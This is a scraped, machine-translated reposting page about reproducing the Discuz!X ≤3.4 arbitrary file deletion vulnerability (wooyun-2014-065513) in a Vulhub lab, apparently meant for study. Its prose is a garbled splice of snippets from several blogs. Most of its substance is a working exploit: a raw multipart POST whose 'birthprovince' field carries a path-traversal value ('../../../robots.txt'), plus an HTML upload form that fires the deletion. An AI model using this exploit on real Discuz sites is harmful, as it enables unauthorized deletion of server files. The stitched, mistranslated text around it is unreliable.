当前位置：网站首页>wooyun-2014-065513

wooyun-2014-065513

2022-06-25 19:09:00 【B6 capsule】

utilize Vulnhub A loophole is repeated - Discuz!X ≤3.4 Arbitrary file deletion vulnerability _JiangBuLiu The blog of -CSDN Blog _ Arbitrary file deletion vulnerability Apache SSI Remote command execution vulnerability Vulnhub Official reproduction tutorial principle of vulnerability reproduction vulnerability startup environment vulnerability reproduction FormhashCookie Send packet Vulnhub Official reproduction tutorial https://vulhub.org/#/environments/httpd/ssi-rce/ The vulnerability principle is used to test the vulnerability of uploading arbitrary files , The target server may not allow uploading php Postfix file . If the target server is turned on SSI And CGI Support , We can upload a ...https://blog.csdn.net/JiangBuLiu/article/details/94051762Vulhub - Docker-Compose file for vulnerability environmenticon-default.png?t=M1H3https://vulhub.org/#/environments/discuz/x3.4-arbitrary-file-deletion/Discuz!X ≤3.4 Arbitrary file deletion vulnerability （wooyun-2014-065513）_ Black and white blogs -CSDN Blog Declare to study hard , Daily upward vulnerability description Discuz!X Community software is an adoption PHP and MySQL And other databases 、 Comprehensive function 、 Safe and stable community forum platform .2017 year 9 month 29 Japan ,Discuz! Fixed a security issue 2 For enhanced security , This vulnerability can lead to the vulnerability that the foreground user can cause arbitrary deletion of files .2017 year 9 month 29 Japan , Know Chuangyu 404 The laboratory starts emergency , I know Chuangyu 404 Laboratory analysis confirmation , The flaw lies in 2014 year 6 Month was submitted to Wooyun Vulnerability platform ,Seebug The vulnerability platform contains the vulnerability 3, Hole number ssvid-93588. This vulnerability is detected by configuring attribute values ,https://blog.csdn.net/zy15667076526/article/details/110719603?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4.pc_relevant_default&utm_relevant_index=5

POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close

------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"

your formhash
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"

../../../robots.txt # This is the file address 
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"

1
------WebKitFormBoundaryPFvXyxL45f34L12s--

 

Any file specifies

 

 

  Use the same browser to open 

<body>
    <form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>

 

 

原网站

版权声明
本文为[B6 capsule]所创，转载请带上原文链接，感谢
https://yzsam.com/2022/02/202202190521319702.html

边栏推荐

猜你喜欢

随机推荐